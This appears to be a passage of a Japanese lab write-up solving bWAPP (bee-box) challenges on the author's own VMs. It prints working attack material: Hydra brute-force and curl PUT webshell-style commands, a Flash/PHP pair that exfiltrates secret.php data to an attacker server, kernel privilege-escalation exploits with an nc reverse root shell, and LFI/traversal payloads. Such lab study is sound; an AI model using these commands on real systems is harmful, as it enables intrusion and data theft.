$salt = random_string();
$_SESSION["salt"] = $salt;

毎回ランダムな値がセットされるのでHydraなどのブルートフォースツールは動かないっぽい
- hard
f:id:kakyouim:20200206005251p:plain

if(isset($_POST["form"]))
{
    if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"]))
    {
        if($_POST["login"] == $login && $_POST["password"] == $password)
        {
            $message = "<font color=\"green\">Successful login!</font>";
        }
        else
        {
            $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
        }
    }
    else
    {
        $message = "<font color=\"red\">Incorrect CAPTCHA!</font>";
    }
}

CAPTCHAはおそらくリロードしない限りは使いまわせる
f:id:kakyouim:20200206005404p:plain

Broken Auth. - Weak Passwords

f:id:kakyouim:20200206011220p:plain
正しいパスワードをブルートフォースで攻撃する

$login = "test";
switch($_COOKIE["security_level"])
{
    case "0" :
        $password = "test";
        break;
    case "1" :
        $password = "test123";
        break;
    case "2" :
        $password = "Test123";
        break;
    default :
        $password = "test";
        break;
}

/usr/share/john/password.lst,/usr/share/wfuzz/wordlist/general/big.txtならtesttest123ならいけた。Test123があるワードリストはWordlistsディレクトリ下にはない。
hydra -L /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -s 80 192.168.56.8 http-post-form '/bWAPP/ba_weak_pwd.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials!:H=Cookie:security_level=0; PHPSESSID=fdecda3af8c9c666618ffc6af4b27c5c; has_js=1'
を実行するとlowレベルなら成功!
f:id:kakyouim:20200206011720p:plain

Session Mgmt. - Administrative Portals

  • low
    f:id:kakyouim:20200206013146p:plain
    smgmt_admin_portal.php?admin=0となっているURLの値をadmin=1とすると、成功
    f:id:kakyouim:20200206013236p:plain
  • medium
    f:id:kakyouim:20200206013306p:plain
    Cookieの中にadmin=0とあるのでこれをadmin=1とするころでUnlock!
    f:id:kakyouim:20200206013327p:plain
  • low
    f:id:kakyouim:20200206013359p:plain
    初めからUnlockになっているゾ

    Session Mgmt. - Cookies (HTTPOnly)

    f:id:kakyouim:20200206023235p:plain
    ソースコードを見ると、Hereを押すと以下のスクリプトが実行されることがわかる。

<script>
function show_my_cookies()
{    
    alert(document.cookie)   
}
</script>

http only属性がONの場合は、HTTPテキスト内のスクリプトからCookieをアクセスできなくなる。 これにより、ウェブサイトにクロスサイト・スクリプティング脆弱性があっても、その脆弱性によってCookieを盗まれるという事態を防止できる。
しかし、今回はOFFとなっているので、もしXSSができる場合にSESSIONが盗まれてしまう
http only属性はChromeの[Application]の[Cookies]で確認する
f:id:kakyouim:20200206023619p:plain
また、Cookiesをクリックすると以下のように表示された。
f:id:kakyouim:20200206023709p:plain
ここで<h1>aa</h1>などのInjectionを試すと実行されている
f:id:kakyouim:20200206023755p:plain
Mediumではhttp only属性が付与されている
Htmlでは表示されているtop_securityにhttp only属性が付与されているため、alert(daocument.cookie)の実行で表示している[here]タブからは参照できない
f:id:kakyouim:20200206034354p:plain

Session Mgmt. - Cookies (Secure)

f:id:kakyouim:20200206034506p:plain
secure属性を指定すると、TLSもしくはSSLで保護された通信が用いられている場合のみ、Cookieがブラウザから送出されるようになる。
Mediumでhttpsでアクセスすると、以下のようにSecure属性がついているtop_securityがサーバに投げられてhtmlに表示される。
f:id:kakyouim:20200206034600p:plain
httpでアクセスするとSecure属性のtop_securityはサーバに送信されず、Htmlに表示されていない
f:id:kakyouim:20200206034621p:plain

Session Mgmt. - Session ID in URL

f:id:kakyouim:20200206035229p:plain
lowの時のみ、URLにSessionIDが見えている
f:id:kakyouim:20200206035304p:plain

Session Mgmt. - Strong Sessions

  • low
    f:id:kakyouim:20200206041226p:plain
    Hereにアクセスすると以下のようにStrongSessionを持っていないといわれる。
    f:id:kakyouim:20200206041310p:plain
  • medium
    Mediumでアクセスしてみると以下のようになった。
    f:id:kakyouim:20200206041345p:plain
    CookieにSessionIDが設定されている。Secure属性がついていないため、httpでもStrongSessionIDが付与されている。これでは盗聴されたときにSessionハイジャックに脆弱である。
    f:id:kakyouim:20200206041428p:plain
  • high
    f:id:kakyouim:20200206041457p:plain
    乱数をSHA256ハッシュ化したStrongSessionIDにSSL/TLS通信でhttp only, http secure属性を付与している。これなら普通は盗まれないのかな?
            // Generates a SSL secured cookie
            // Generates a random token
            $token = uniqid(mt_rand(0,100000));
            $token = hash("sha256", $token);

            $_SESSION["top_security_ssl"] = $token;

            // The cookie will be available within the entire domain
            // Sets the Http Only flag and the Secure flag
            setcookie("top_security_ssl", $token, time()+3600, "/", "", true, true);

A4 – Insecure Direct Object References

Insecure DOR (Change Secret)

f:id:kakyouim:20200207141831p:plain
POSTで送信するデータを見てみると、
f:id:kakyouim:20200207141858p:plain
となっており、このlogin=beeの値を書き換えることで別のユーザーのSecretを上書きできる。
MediumやHighではPOSTは以下のようにランダムな値であるTokenに変わっている
f:id:kakyouim:20200207142056p:plain

                // If the security level is MEDIUM or HIGH
                if(!isset($_REQUEST["token"]) or !isset($_SESSION["token"]) or $_REQUEST["token"] != $_SESSION["token"])
                {
                    $message = "<font color=\"red\">Invalid token!</font>";
                }

ランダムなTokenを作成して、それをSESSIONとPOSTにそれぞれ入れて、それが一致か確認する認証に変わっている。
Lowでは、ユーザー名は$SESSIONから取得するべきで、POSTの$REQUESTSには入れるべきではないのに入っているのが問題

// A random token is generated when the security level is MEDIUM or HIGH
if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")
{
    $token = sha1(uniqid(mt_rand(0,100000)));
    $_SESSION["token"] = $token;
}

Insecure DOR (Reset Secret)

f:id:kakyouim:20200207143156p:plain
POSTを見ると、login=beeとなっているため、このユーザー名を書き換えることでその他のユーザのSecretを書き換えらえる。
f:id:kakyouim:20200207143258p:plain

Insecure DOR (Order Tickets)

f:id:kakyouim:20200207143630p:plain
POSTを見てみると、価格も送信しているのでこれを15じゃなくて100に書き換えてみる
f:id:kakyouim:20200207143814p:plain
レスポンスを見ると下のように書き換えられている!
f:id:kakyouim:20200207143855p:plain

A5 – Security Misconfiguration

Arbitrary File Access (Samba)

f:id:kakyouim:20200207150157p:plain
enum4linux 192.168.56.8
f:id:kakyouim:20200207150230p:plain
smbclient //192.168.56.8/tmp
f:id:kakyouim:20200207150254p:plain
パスワードなしで接続できる共有フォルダがあれば、Metasploitを用いてrootディレクトリ以下のコピーを作成できる

use auxiliary/admin/smb/samba_symlink_traversal
set RHOSTS 192.168.56.8
set SMBSHARE tmp
exploit

f:id:kakyouim:20200207150432p:plain
Metasploitを使わずに同じことをしたいがどうやるんだろう??
f:id:kakyouim:20200207150455p:plain
/etc/passwdも読める

Cross-Domain Policy File (Flash)

f:id:kakyouim:20200207181930p:plain
本問はFlashRevive Adserver before 3.2.2でデフォルトでクロスドメイン制約がすべてのドメインに関して許可されていることによるCSRFが可能というテーマである(CVE-2015-7369)
CSRFとは、オンラインサービスを利用するユーザーがログイン状態を保持したまま悪意のある第三者の作成したURLなどをクリックした場合などに、本人が意図しない形で情報・リクエストを送信されてしまうことである

つまり、今回の攻撃は攻撃者が用意したbee-boxとは別のWebサーバにアクセスするだけで、bee-boxに勝手にアクセスされて任意の操作(User作成、Secretの取得や書き換えなど)をされてしまうということ。
ログインしている状態でこのような攻撃者のWebページにアクセスしてしまうと、ユーザが気づかない間に勝手に情報が抜かれていることがありえる。

ルートディレクトリに存在しているcrossdomain.xmlを見てみると、下のようにすべてのドメインからの操作を許可している
f:id:kakyouim:20200207182047p:plain
攻撃用サーバにアップするソースコードなどのサンプルが/evil/にあるらしいのでアクセスしてみる
f:id:kakyouim:20200207182632p:plain
SWFファイルとは、Adobe Flashなどで作成されたベクターアニメーションなどが格納された再生用ファイルの形式で、.asファイルコンパイルして作成する。
標準のファイル拡張子は「.swf」。Webブラウザなどに組み込まれたFlash Playerなどで再生・実行される。
今回は.asファイルにbee-boxのsecret.phpにアクセスしてそこからデータを取得して、攻撃者のphpファイルに返すような動作を記述する
コンパイラは以下を使用
f:id:kakyouim:20200207182801p:plain
Kali側の攻撃用サーバのxdx.phpは以下の通りである

<?php
if(isset($_POST["data"])) {
    $req_dump = $_POST["data"];
    $fp = fopen("xdx.log", "a");
    fwrite($fp, $req_dump);
    fclose($fp);
    exit;
}
?>
 
<!DOCTYPE html>
<html>
    <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1">
        <param name="movie" value="xdx.swf" />
    </object>
</html>

xdx.asは以下の通りである。/evil/にあるファイルのうち、二つのURLを変更しただけ

// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// Customizations by Malik Mesellem (malik@itsecgames.com)
// xdx.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLVariables;
    import flash.net.URLLoader;

    public class xdx extends Sprite {
        public function xdx() {
            // Target URL from where the data is to be retrieved
            var readFrom:String = "http://192.168.56.8/bWAPP/secret.php";
            var readRequest:URLRequest = new URLRequest(readFrom);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try {
                getLoader.load(readRequest);
            } catch (error:Error) {
                trace("Error loading URL: " + error);
            }
        }

        private function eventHandler(event:Event):void {
            // URL to which retrieved data is to be sent
            var sendTo:String = "http://10.0.2.15/share/crossdomain/xdx.php"
            var sendRequest:URLRequest = new URLRequest(sendTo);
            var variables:URLVariables = new URLVariables();
            variables.data = event.target.data;
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = variables;
            var sendLoader:URLLoader = new URLLoader();
            try {
                sendLoader.load(sendRequest);
            } catch (error:Error) {
                trace("Error loading URL: " + error);
            }
        }
    }
}

/opt/flex_sdk/bin/mxmlc xdx.asasファイルswfファイルコンパイル
f:id:kakyouim:20200207183328p:plain
service apache2 startでKali側で攻撃用サーバを立ち上げる
f:id:kakyouim:20200207183458p:plain
ChromeではデフォルトでFlashのPluginが無効なので有効にする
f:id:kakyouim:20200207183514p:plain
ChromeのNetworkで確認すると以下のようになっており、secret.phpにアクセスできている!
f:id:kakyouim:20200207183633p:plain
f:id:kakyouim:20200207183551p:plain
参考文献:
とても詳細に解説が書いてある
https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221618987993&proxyReferer=https%3A%2F%2Fwww.google.com%2F
さらにUserを作成するようなActionScriptがある。
https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8

Insecure FTP Configuration

f:id:kakyouim:20200207192001p:plain
ftp 192.168.56.8
f:id:kakyouim:20200207192025p:plain
lftp -u anonymous,anonymous 192.168.56.8
f:id:kakyouim:20200207192045p:plain
Filezilla
f:id:kakyouim:20200207192057p:plain
use auxiliary/scanner/ftp/anonymous
f:id:kakyouim:20200207192122p:plain

Insecure SNMP Configuration

f:id:kakyouim:20200207195223p:plain
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
portは161
snmp-check 192.168.56.8
f:id:kakyouim:20200207195312p:plain
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
bee-boxのバージョンがみえている。
f:id:kakyouim:20200207195338p:plain
use auxiliary/scanner/snmp/snmp_login
f:id:kakyouim:20200207195513p:plain
参考文献:
https://net123.tistory.com/513

Insecure WebDAV Configuration

f:id:kakyouim:20200207202413p:plain
WebDAVとは、主にWebサーバからWebクライアントへのファイルを送信するのに用いられるHTTPを拡張し、サーバ内のファイルやディレクトリの管理を直接行うことができるようにする仕様。
ここにファイルアップロードできないかなどを試す
f:id:kakyouim:20200207202443p:plain
cadaver http://192.168.56.8/webdav
A command-line WebDAV client for Unix
f:id:kakyouim:20200207202549p:plain
davtest -url http://192.168.56.8/webdav/
f:id:kakyouim:20200207202609p:plain
curl -X PUT --data '<?php $f=fopen("/etc/passwd","r"); echo fread($f,filesize("/etc/passwd")); fclose($f); ?>' 'http://192.168.56.8/webdav/attack.php'
f:id:kakyouim:20200207202646p:plain
f:id:kakyouim:20200207202655p:plain
use auxiliary/scanner/http/webdav_scanner
f:id:kakyouim:20200207202716p:plain
その他、nikto,nmapなどでも確認できるらしい
curl -v -X OPTIONS "http://192.168.56.8/webdav/"
PUTができるかどうか確認すると、PUTが表示されていない。なんでだろう?
f:id:kakyouim:20200207202840p:plain
参考文献:
Introduction to HTTP PUT Method
Scanning HTTP PUT Method (Nikto)
Exploiting PUT Method Using Cadaver
Exploiting PUT Method Using Nmap
Exploiting PUT Method Using Poster
Exploiting PUT Method Using Metasploit
Exploiting PUT Method Using Burpsuite
Exploiting PUT Method Using Curl
の方法が詳しく載っている
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/

Local Privilege Escalation (sendpage)

f:id:kakyouim:20200209145207p:plain
とりあえずまずユーザ権限のShellを奪取する
f:id:kakyouim:20200209145229p:plain
f:id:kakyouim:20200209145320p:plain
python -c 'import pty; pty.spawn("/bin/sh")'でshellをアップグレード
下のLocal Privilege Escalationを参考にする
kakyouim.hatenablog.com
まずは、LinEnum.shなどのEnumコードで情報収集する
以下の有益な情報が得られた
f:id:kakyouim:20200209145604p:plain
f:id:kakyouim:20200209145636p:plain
f:id:kakyouim:20200209145651p:plain
f:id:kakyouim:20200209145709p:plain
f:id:kakyouim:20200209145724p:plain
sudoコマンドにSUIDビットが立っているため、一般ユーザーでもsudoが使用可能である
今、user=bee,password=bugのユーザーが存在するため、そっちに切り替えてsu rootをすればRootになれる
f:id:kakyouim:20200209145940p:plain
perl Linux_Exploit_Suggester.plでExploitを探す
f:id:kakyouim:20200209150049p:plain
f:id:kakyouim:20200209150100p:plain

また、得られたKernelのバージョンから有効なExploitをsearchsploitでも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
以下の方法で絞り込みを行う

  • Linux kernel で2.6(今回は2.6.24)
  • Local Privilege
  • OSが32bit(i686とあるため)
  • 標的の環境ではRubyは動かないので.rbを排除
  • < 2.6.1を省く

ここまですればある程度目で見れるくらいに絞れる。あとは、

  • Ubuntuで8.04じゃないやつ(10.10とか)

等、矛盾するものを排除していく
注意点

  • Grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
  • Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
  • 一個ずつ消すときは、ファイル名で消す
  • 2.xみたいなのを消さないように気を付ける

今回絞れるだけ絞った結果が以下である
searchsploit "Privilege" -e | grep "linux kernel" -i | grep -e "2.6" -e "2.x" | grep -v "64/" | grep -v "< 2.6.1" | grep -v "Linux Kernel 2.6.3" | grep -v "< 2.6.7" | grep -e "<" -e ">" -e "/2." -e "2.x" | grep -v "42276" | grep -v "160.c" | grep -v "Bluetooth" -i | grep -v "< 2.6.22" | grep -v "< 2.6.24.1" | grep -v "2.6.17" | grep -v Process | grep -v "10.10" | grep -v "10.04" | grep -v ".rb" | grep -v "145.c" | grep -v "samba" -i | grep -v "2.4.0-test" | grep -v "Android" | grep -v "3.c" | grep -v "Ubuntu 12.04"
f:id:kakyouim:20200209150921p:plain
この結果とperl Linux_Exploit_Suggester.plの結果にsendpageが含まれているため試してみる
9435を試すと、以下のようにrootになれた!
f:id:kakyouim:20200209151101p:plain

Local Privilege Escalation (udev)

f:id:kakyouim:20200209151154p:plain
先ほど得られたsearchsploitの結果の中でUbuntuで絞ってみると、以下のようになる
f:id:kakyouim:20200209151315p:plain
udevadm --versionでudevが脆弱なバージョンかどうか確認すると、117となっているため脆弱であることがわかる
f:id:kakyouim:20200209151421p:plain
41886.cには以下のようにこのバージョンが脆弱であることが書いてある
f:id:kakyouim:20200209151503p:plain
8572.cには以下のようにExploitの手順が書かれているため、その通りに実行してみる
f:id:kakyouim:20200209151555p:plain
どうやら/tmp/runファイルに実行したいシェルスクリプトを書いておけば、それをroot権限で実行するようです
f:id:kakyouim:20200209151613p:plain
vimで以下のファイルを作成する。この際、itest^[:wq!みたいに書くと、testというファイルが作成される(^[はEscape)
f:id:kakyouim:20200209151719p:plain
./8572 2530を実行して、Kali側でnc -lvp 4445を実行すると以下のようにrootのShellがつながった!
f:id:kakyouim:20200209152045p:plain
ちなみに、/tmp/runに以下のように/bin/bashとしてもrootのシェルは立ち上がらなかった。なんでだろう?
f:id:kakyouim:20200209152153p:plain
ここで少してこずってしまったので、
"cve-2009-1185" AND "exploit" AND "linux" AND "kernel" AND "2.6."
みたいに絞り込んでGoogleで同じバージョンでExploitを検証してないかどうか確認するのがよさそう

ちなみに、dirty c0wのExploitも試してみる
f:id:kakyouim:20200209152239p:plain
成功している!
f:id:kakyouim:20200209152254p:plain
f:id:kakyouim:20200209152314p:plain
他にもいろいろあるかもしれないですね
注意
dirtycowを試したら必ずpasswdファイルを復元してください。
自分は復元忘れてて次回起動時にバグって再度入れなおす羽目になりました

Old, Backup & Unreferenced Files

f:id:kakyouim:20200209235158p:plain
どうやら、ここに載っているファイルがWebサーバ上でアクセスできるようになっており、ブルートフォースでそういう重要なファイルを見つけてくださいということのようです
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ
等を試してみます
f:id:kakyouim:20200209235342p:plain
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
あたりが使えそう??

Robots File

f:id:kakyouim:20200210002446p:plain
robots.txtでは、主にクローラーの制限を行う際に活用します。
例えば、User-Agentでクローラーの種類を指定して、その指定したクローラーが特定のファイルをクロールしないように、DisallowでファイルのURLパスを指定します。
なので、ここにDisallowとなっているディレクトリには重要な情報が含まれている可能性があるので見る価値あり
ちなみに、
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/common.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ/
ですべてのディレクトリをブルートフォースで確認できます
最後にFUZZ/のように/を入れるとディレクトリを探索、FUZZのように/を入れないとファイルを探索する

A6 - Sensitive Data Exposure

Base64 Encoding (Secret)

  • low
    f:id:kakyouim:20200210015928p:plain
    secretがURLEncode+Base64Encodeされてました
    f:id:kakyouim:20200210015951p:plain
  • medium,high
    SHA1ハッシュ化されてました
    f:id:kakyouim:20200210020041p:plain

BEAST/CRIME/BREACH

f:id:kakyouim:20200210020134p:plain
HTTPSの通信バージョンに脆弱性があるようですが詳しいことは何もわかりません
sslscan --no-failed --version 192.168.56.33:9443
f:id:kakyouim:20200210020250p:plain
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
f:id:kakyouim:20200210020347p:plain
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443

 AVAILABLE PLUGINS
 -----------------

  SessionResumptionPlugin
  CompressionPlugin
  OpenSslCipherSuitesPlugin
  FallbackScsvPlugin
  CertificateInfoPlugin
  HttpHeadersPlugin
  RobotPlugin
  EarlyDataPlugin
  HeartbleedPlugin
  OpenSslCcsInjectionPlugin
  SessionRenegotiationPlugin



 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   192.168.56.33:9443                      => 192.168.56.33 




 SCAN RESULTS FOR 192.168.56.33:9443 - 192.168.56.33
 ---------------------------------------------------

 * OpenSSL CCS Injection:
                                          OK - Not vulnerable to OpenSSL CCS injection

 * TLS 1.2 Session Resumption Support:
      With Session IDs:                  OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
      With TLS Tickets:                  OK - Supported

 * Session Renegotiation:
       Client-initiated Renegotiation:    VULNERABLE - Server honors client-initiated renegotiations
       Secure Renegotiation:              OK - Supported

 * SSLV2 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        SSL_CK_RC4_128_WITH_MD5                                          128 bits                                                                  
        SSL_CK_RC4_128_EXPORT40_WITH_MD5                                 40 bits                                                                   
        SSL_CK_RC2_128_CBC_WITH_MD5                                      128 bits                                                                  
        SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5                             40 bits                                                                   
        SSL_CK_DES_64_CBC_WITH_MD5                                       56 bits                                                                   
        SSL_CK_DES_192_EDE3_CBC_WITH_MD5                                 112 bits                                                                  

 * TLSV1_3 Cipher Suites:
      Server rejected all cipher suites.

 * Deflate Compression:
                                          VULNERABLE - Server supports Deflate compression

 * TLSV1_2 Cipher Suites:
      Server rejected all cipher suites.

 * TLSV1_1 Cipher Suites:
      Server rejected all cipher suites.

 * Certificate Information:
     Content
       SHA1 Fingerprint:                  ae5fb7be864a78e168318fc1c96a4bd242c4e6c3
       Common Name:                       bee-box.bwapp.local
       Issuer:                            bee-box.bwapp.local
       Serial Number:                     15617680085524193115
       Not Before:                        2013-04-14 18:11:32
       Not After:                         2018-04-13 18:11:32
       Signature Algorithm:               sha1
       Public Key Algorithm:              RSA
       Key Size:                          1024
       Exponent:                          65537 (0x10001)
       DNS Subject Alternative Names:     []

     Trust
       Hostname Validation:               FAILED - Certificate does NOT match 192.168.56.33
       Android CA Store (9.0.0_r9):       FAILED - Certificate is NOT Trusted: self signed certificate
       Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):FAILED - Certificate is NOT Trusted: self signed certificate
       Java CA Store (jdk-12.0.1):        FAILED - Certificate is NOT Trusted: self signed certificate
       Mozilla CA Store (2019-03-14):     FAILED - Certificate is NOT Trusted: self signed certificate
       Windows CA Store (2019-05-27):     FAILED - Certificate is NOT Trusted: self signed certificate
       Symantec 2018 Deprecation:         OK - Not a Symantec-issued certificate
       Received Chain:                    bee-box.bwapp.local
       Verified Chain:                    ERROR - Could not build verified chain (certificate untrusted?)
       Received Chain Contains Anchor:    ERROR - Could not build verified chain (certificate untrusted?)
       Received Chain Order:              OK - Order is valid
       Verified Chain contains SHA1:      ERROR - Could not build verified chain (certificate untrusted?)

     Extensions
       OCSP Must-Staple:                  NOT SUPPORTED - Extension not found
       Certificate Transparency:          NOT SUPPORTED - Extension not found

     OCSP Stapling
                                          NOT SUPPORTED - Server did not send back an OCSP response

 * TLSV1 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        TLS_RSA_WITH_RC4_128_SHA                                         128 bits                                                                  
        TLS_RSA_WITH_RC4_128_MD5                                         128 bits                                                                  
        TLS_RSA_WITH_DES_CBC_SHA                                         56 bits                                                                   
        TLS_RSA_WITH_AES_256_CBC_SHA                                     256 bits                                                                  
        TLS_RSA_WITH_AES_128_CBC_SHA                                     128 bits                                                                  
        TLS_RSA_WITH_3DES_EDE_CBC_SHA                                    112 bits                                                                  

 * Downgrade Attacks:
       TLS_FALLBACK_SCSV:                 VULNERABLE - Signaling cipher suite not supported

 * SSLV3 Cipher Suites:
       Forward Secrecy                    INSECURE - Not Supported
       RC4                                INSECURE - Supported

     Preferred:
        None - Server followed client cipher suite preference.                                                            
     Accepted:
        TLS_RSA_WITH_RC4_128_SHA                                         128 bits                                                                  
        TLS_RSA_WITH_RC4_128_MD5                                         128 bits                                                                  
        TLS_RSA_WITH_DES_CBC_SHA                                         56 bits                                                                   
        TLS_RSA_WITH_AES_256_CBC_SHA                                     256 bits                                                                  
        TLS_RSA_WITH_AES_128_CBC_SHA                                     128 bits                                                                  
        TLS_RSA_WITH_3DES_EDE_CBC_SHA                                    112 bits                                                                  

 * OpenSSL Heartbleed:
                                          OK - Not vulnerable to Heartbleed

 * ROBOT Attack:
                                          OK - Not vulnerable


 SCAN COMPLETED IN 15.45 S
 -------------------------

./o-saft.pl +check -v 192.168.56.33:9443
f:id:kakyouim:20200210020453p:plain
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
f:id:kakyouim:20200210020523p:plain

./o-saft.tcl
f:id:kakyouim:20200210020551p:plain

./testssl.sh -U 192.168.56.33:9443

###########################################################
    testssl.sh       3.1dev from https://testssl.sh/dev/
    (6da6335 2020-02-08 10:32:46 -- )

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2k-dev)" [~179 ciphers]
 on kali:./bin/openssl.Linux.x86_64
 (built: "Jan 18 17:12:17 2019", platform: "linux-x86_64")


 Start 2020-02-09 11:50:19        -->> 192.168.56.33:9443 (192.168.56.33) <<--

 rDNS (192.168.56.33):   --
 Service detected:       HTTP


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension
 CCS (CVE-2014-0224)                       VULNERABLE (NOT ok)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK), session IDs were returned but potential memory fragments do not differ
 ROBOT                                     not vulnerable (OK)
 Secure Renegotiation (RFC 5746)           supported (OK)
 Secure Client-Initiated Renegotiation     VULNERABLE (NOT ok), DoS threat
 CRIME, TLS (CVE-2012-4929)                VULNERABLE (NOT ok)
 BREACH (CVE-2013-3587)                    potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested
                                           Can be ignored for static pages or if no secrets in the page
 POODLE, SSL (CVE-2014-3566)               VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention NOT supported and vulnerable to POODLE SSL
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    VULNERABLE, uses 64 bit block ciphers for SSLv2 and above
 FREAK (CVE-2015-0204)                     VULNERABLE (NOT ok), uses EXPORT RSA ciphers
 DROWN (CVE-2016-0800, CVE-2016-0703)      VULNERABLE (NOT ok), SSLv2 offered with 6 ciphers
                                           Make sure you don't use this certificate elsewhere, see:
                                           https://censys.io/ipv4?q=FF29B36FCC813AE5B2100D985E692A612DE6F15570374320F85B43076CF08163
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected with <= TLS 1.2
 BEAST (CVE-2011-3389)                     SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA 
                                           TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA 
                                           VULNERABLE -- and no higher protocols as mitigation supported
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches
 RC4 (CVE-2013-2566, CVE-2015-2808)        VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5 EXP-RC4-MD5 


 Done 2020-02-09 11:50:56 [  41s] -->> 192.168.56.33:9443 (192.168.56.33) <<--

要するに、暗号化が脆弱ってことかな?(なんもわからん)

A7 - Missing Functional Level Access Control

Directory Traversal – Directories

  • low
    f:id:kakyouim:20200210181625p:plain
    f:id:kakyouim:20200210181644p:plain
    documentsとなっているところを書き換える
    f:id:kakyouim:20200210181709p:plain
    f:id:kakyouim:20200210181721p:plain
  • medium
    directory_traversal_2.php?directory=file://のように書く
    f:id:kakyouim:20200210181750p:plain

Directory Traversal – Files

  • low
    f:id:kakyouim:20200210181838p:plain
    directory_traversal_1.php?page=../../../etc/passwd
    f:id:kakyouim:20200210181903p:plain
  • Medium
    directory_traversal_1.php?page=file:///etc/passwd

SQLiteManager Local File Inclusion

f:id:kakyouim:20200210182023p:plain
searchsploit sqlite | grep 1.2
f:id:kakyouim:20200210182045p:plain
f:id:kakyouim:20200210182101p:plain
f:id:kakyouim:20200210182115p:plain

Remote & Local File Inclusion (RFI/LFI)

  • low
    f:id:kakyouim:20200210182145p:plain
    rlfi.php?language=lang_en.php&action=go
    となっており、PHPファイルをIncludeしていることがわかる
    rlfi.php?language=../../../../etc/passwd&action=goで成功!
    f:id:kakyouim:20200210182254p:plain
  • medium
    同じことをすると以下のerror
    f:id:kakyouim:20200210182359p:plain
    rlfi.php?language=../../../../etc/passwd%00&action=go
    %00のヌルバイトを入れる
<?php
if(isset($_GET["language"]))
{
    if($_COOKIE["security_level"] == "2")
    {
         if(in_array($language, $available_languages)) include($language);
    }
    else
    {
        include($language);
    }
}
?>
if(isset($_GET["language"]))
{
    switch($_COOKIE["security_level"])
    {
        case "0" :
            $language = $_GET["language"];
            break;
        case "1" :
            $language = $_GET["language"] . ".php";
            break;
        case "2" :
            $available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
            $language = $_GET["language"] . ".php";
            // $language = rlfi_check_1($language);
            break;
        default :
            $language = $_GET["language"];
            break;
    }
}

Server Side Request Forgery (SSRF)

f:id:kakyouim:20200210211504p:plain
RFIを用いたSSRFは前の問題のページを使う
ssrf-1.txtをダウンロードする
(ssrf-1.phpというファイル名で保存してRFIしたが成功しなかった。なぜだ?)

<?php

/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

© 2013 MME BVBA. All rights reserved.

*/
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
    //list of port numbers to scan
